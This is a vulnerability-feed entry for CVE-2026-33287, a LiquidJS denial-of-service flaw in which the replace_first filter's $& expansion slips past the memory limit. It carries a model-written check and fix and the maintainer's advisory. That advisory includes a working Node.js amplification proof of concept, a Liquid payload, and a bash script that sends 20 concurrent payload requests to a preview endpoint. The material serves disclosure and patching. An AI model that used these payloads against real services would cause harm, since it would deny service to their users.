---
id: "CVE-2026-33287"
kind: "vulnerability"
aliases: ["CVE-2026-33287", "GHSA-6q5m-63h6-5x4v"]
title: "LiquidJS has Exponential Memory Amplification through its replace_first Filter $& Pattern"
severity: "high"
cvss: 7.5
epss: 0.00479
exploited: false
status: "open"
category: "package"
products: [{"name": "liquidjs", "fixed": ["10.25.1"], "affected": "< 10.25.1", "ecosystem": "npm"}, {"name": "liquidjs", "fixed": ["10.25.1"], "affected": "< 10.25.1", "ecosystem": "vendor"}]
ecosystems: ["npm", "vendor"]
tags: ["cms", "cwe-20", "cwe-400", "liquidjs", "newsletter", "node", "package", "saas"]
not_affected_if: ["fixed-templates-only", "no-replace-first-usage", "upgraded-to-10.25.1"]
published_at: "2026-03-25T17:44:23+00:00"
first_seen_at: "2026-10-29T17:30:17+00:00"
updated_at: "2026-10-29T17:56:17+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-6q5m-63h6-5x4v", "first_seen_at": "2026-10-29T17:30:17+00:00"}, {"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33287", "first_seen_at": "2026-10-29T17:56:17+00:00"}]
---

# LiquidJS has Exponential Memory Amplification through its replace_first Filter $& Pattern

LiquidJS's replace_first filter passes the replacement string to JavaScript's native replace(), so a $& pattern expands the output far beyond the memory limit the engine counts. An attacker who can submit a template can chain stages to allocate hundreds of megabytes per request and stall the server.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- npm:liquidjs affected < 10.25.1 fixed 10.25.1
- vendor:liquidjs affected < 10.25.1 fixed 10.25.1

## How to check

- Check the installed version with `npm ls liquidjs`.
- Search the project for `replace_first` in code that renders user-supplied Liquid templates.
- Confirm whether the rendering endpoint accepts templates from users (CMS, newsletter editor, SaaS).

## Fix

- Upgrade `liquidjs` to `10.25.1` or later (affected below `10.25.1`).

## Timeline

- 2026-10-29T17:30:17+00:00 ghsa https://github.com/advisories/GHSA-6q5m-63h6-5x4v
- 2026-10-29T17:56:17+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2026-33287

## Documents

- [advisory] Maintainer's advisory: api.github.com https://api.github.com/repos/harttle/liquidjs/security-advisories/GHSA-6q5m-63h6-5x4v
- [advisory] Maintainer's advisory: github.com https://github.com/harttle/liquidjs/security/advisories/GHSA-6q5m-63h6-5x4v
- [fix] Patch: github.com https://github.com/harttle/liquidjs/commit/35d523026345d80458df24c72e653db78b5d061d
- [fix] Release: github.com https://github.com/harttle/liquidjs/releases/tag/v10.25.1

## From the sources

### Summary
The `replace_first` filter in LiquidJS uses JavaScript's `String.prototype.replace()` which interprets `$&` as a backreference to the matched substring. The filter only charges `memoryLimit` for the input string length, not the amplified output. An attacker can achieve exponential memory amplification (up to 625,000:1) while staying within the `memoryLimit` budget, leading to denial of service.

### Details
The `replace_first` filter in `src/builtin/filters/string.ts:130-133` delegates to JavaScript's native `String.prototype.replace()`. This native method interprets special replacement patterns including `$&` (insert the matched substring), `$'` (insert the portion after the match), and `` $` `` (insert the portion before the match).

The filter calls `memoryLimit.use(str.length)` to account for the **input** string's memory cost, but the **output** string — potentially many times larger due to `$&` expansion — is never charged against the memory limit.

An attacker can build a 1MB string (within `memoryLimit` budget), then use `replace_first` with a replacement string containing 50 repetitions of `$&`. Each `$&` expands to the full matched string (1MB), producing a 50MB output that is not charged to the memory counter.

By chaining this technique across multiple variable assignments, exponential amplification is achieved:

| Stage | Input Size | `$&` Repetitions | Output Size | Cumulative `memoryLimit` Charge |
|-------|-----------|-------------------|-------------|-------------------------------|
| 1 | 1 byte | 50 | 50 bytes | ~1 byte |
| 2 | 50 bytes | 50 | 2,500 bytes | ~51 bytes |
| 3 | 2,500 bytes | 50 | 125 KB | ~2.6 KB |
| 4 | 125 KB | 50 | 6.25 MB | ~128 KB |
| 5 | 6.25 MB | 50 | 312.5 MB | ~6.38 MB |

**Total amplification factor: ~625,000:1** (312.5 MB output vs. ~6.38 MB charged to `memoryLimit`).

Notably, the sibling `replace` filter uses `str.split(pattern).join(replacement)`, which treats `$&` as a literal string and is therefore not vulnerable. The `replace_last` filter uses manual substring operations and is also safe. Only `replace_first` is affected.

```typescript
// src/builtin/filters/string.ts:130-133 — VULNERABLE
export function replace_first (v: string, arg1: string, arg2: string) {
  const str = stringify(v)
  this.context.memoryLimit.use(str.length)  // Only charges input
  return str.replace(stringify(arg1), arg2)  // $& expansion uncharged!
}

// src/builtin/filters/string.ts:125-129 — SAFE (for comparison)
export function replace (v: string, arg1: string, arg2: string) {
  const str = stringify(v)
  this.context.memoryLimit.use(str.length)
  return str.split(stringify(arg1)).join(arg2)  // split/join: $& treated as literal
}
```

### PoC
**Prerequisites**:
- `npm install liquidjs@10.24.0`
- An application that renders user-provided Liquid templates (CMS, newsletter editor, SaaS platform, etc.)

Save the following as `poc_replace_first_amplification.js` and run with `node poc_replace_first_amplification.js`:

```javascript
const { Liquid } = require('liquidjs');

(async () => {
  const engine = new Liquid({ memoryLimit: 1e8 }); // 100MB limit

  // Step 1 — Verify $& expansion in replace_first
  console.log('=== Step 1: $& expansion in replace_first ===');
  const step1 = '{{ "HELLO" | replace_first: "HELLO", "$&-$&-$&" }}';
  console.log('Result:', await engine.parseAndRender(step1));
  // Output: "HELLO-HELLO-HELLO" — $& expanded to matched string

  // Step 2 — Verify replace (split/join) is safe
  console.log('\n=== Step 2: replace is safe ===');
  const step2 = '{{ "ABCDE" | replace: "ABCDE", "$&$&$&" }}';
  console.log('Result:', await engine.parseAndRender(step2));
  // Output: "$&$&$&" — $& treated as literal

  // Step 3 — 5-stage exponential amplification (50x per stage)
  console.log('\n=== Step 3: Exponential amplification (625,000:1) ===');
  const amp50 = '$&'.repeat(50);
  const step3 = [
    '{% assign s = "A" %}',
    '{% assign s = s | replace_first: s, "' + amp50 + '" %}',
    '{% assign s = s | replace_first: s, "' + amp50 + '" %}',
    '{% assign s = s | replace_first: s, "' + amp50 + '" %}',
    '{% assign s = s | replace_first: s, "' + amp50 + '" %}',
    '{% assign s = s | replace_first: s, "' + amp50 + '" %}',
    '{{ s | size }}'
  ].join('');

  const startMem = process.memoryUsage().heapUsed;
  const result = await engine.parseAndRender(step3);
  const endMem = process.memoryUsage().heapUsed;

  console.log('Output string size:', result.trim(), 'bytes');  // "312500000"
  console.log('Heap increase:', ((endMem - startMem) / 1e6).toFixed(1), 'MB');
  console.log('Amplification: ~625,000:1 (1 byte input -> 312.5 MB output)');
  console.log('memoryLimit charged: < 7 MB (only input lengths counted)');
})();
```

**Expected output:**

```
=== Step 1: $& expansion in replace_first ===
Result: HELLO-HELLO-HELLO

=== Step 2: replace is safe ===
Result: $&$&$&

=== Step 3: Exponential amplification (625,000:1) ===
Output string size: 312500000 bytes
Heap increase: ~625.0 MB
Amplification: ~625,000:1 (1 byte input → 312.5 MB output)
memoryLimit charged: < 7 MB (only input lengths counted)
```

The `memoryLimit` of 100MB is completely bypassed — 312.5 MB is allocated while only ~6.38 MB is charged to the memory counter.

#### Demonstrated Denial of Service (concurrent attack)

After confirming the single-request PoC, launch 20 concurrent attacks + legitimate user requests to measure actual service disruption.

**Raw Liquid template payload sent by attacker:**
```liquid
{% assign s = "A" %}
{% assign s = s | replace_first: s, "$&$&$&...(50 times)...$&" %}
{% assign s = s | replace_first: s, "$&$&$&...(50 times)...$&" %}
{% assign s = s | replace_first: s, "$&$&$&...(50 times)...$&" %}
{% assign s = s | replace_first: s, "$&$&$&...(50 times)...$&" %}
{% assign s = s | replace_first: s, "$&$&$&...(50 times)...$&" %}
{{ s }}
```

> `$&` is a JavaScript `String.prototype.replace()` backreference pattern that inserts the entire matched string. Each stage amplifies 50x → 5 stages = 50^5 = 312,500,000 characters (~312.5MB). `{{ s }}` forces the full output into the HTTP response, keeping memory allocated during transfer and blocking the Node.js event loop.

```bash
#!/bin/bash
# DoS demonstration: 20 concurrent attacks + legitimate user latency measurement

DOLLAR='$&'
REP50=$(printf "${DOLLAR}%.0s" {1..50})
PAYLOAD="{% assign s = \"A\" %}{% assign s = s | replace_first: s, \"${REP50}\" %}{% assign s = s | replace_first: s, \"${REP50}\" %}{% assign s = s | replace_first: s, \"${REP50}\" %}{% assign s = s | replace_first: s, \"${REP50}\" %}{% assign s = s | replace_first: s, \"${REP50}\" %}{{ s }}"

echo "=== Advisory 2 DoS: 20 concurrent + normal user ==="

# 20 DoS attack requests (per-request timing)
for i in $(seq 1 20); do
  (
    t1=$(date +%s%3N)
    curl -s -o /dev/null --max-time 120 -X POST "http://<app>/newsletter/preview" \
      -H "Content-Type: application/x-www-form-urlencoded" \
      --data-urlencode "template=$PAYLOAD"
    t2=$(date +%s%3N)
    echo "DoS[$i]: $(( t2 - t1 ))ms"
  ) &
done

# Legitimate user requests at 0s, 3s, 6s
(
  t1=$(date +%s%3N)
  curl -s -o /dev/null --max-time 60 -X POST "http://<app>/newsletter/preview" \
    -H "Content-Type: application/x-www-form-urlencoded" \
    --data-urlencode "template=<h1>Hello</h1>"
  t2=$(date +%s%3N)
  echo "Normal[0s]: $(( t2 - t1 ))ms"
) &

(
  sleep 3
  t1=$(date +%s%3N)
  curl -s -o /dev/null --max-time 60 -X POST "http://<app>/newsletter/preview" \
    -H "Content-Type: application/x-www-form-urlencoded" \
    --data-urlencode "template=<h1>Hello</h1>"
  t2=$(date +%s%3N)
  echo "Normal[3s]: $(( t2 - t1 ))ms"
) &

(
  sleep 6
  t1=$(date +%s%3N)
  curl -s -o /dev/null --max-time 60 -X POST "http://<app>/newsletter/preview" \
    -H "Content-Type: application/x-www-form-urlencoded" \
    --data-urlencode "template=<h1>Hello</h1>"
  t2=$(date +%s%3N)
  echo "Normal[6s]: $(( t2 - t1 ))ms"
) &

wait
echo "=== Done ==="
```

*

---

_Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai_
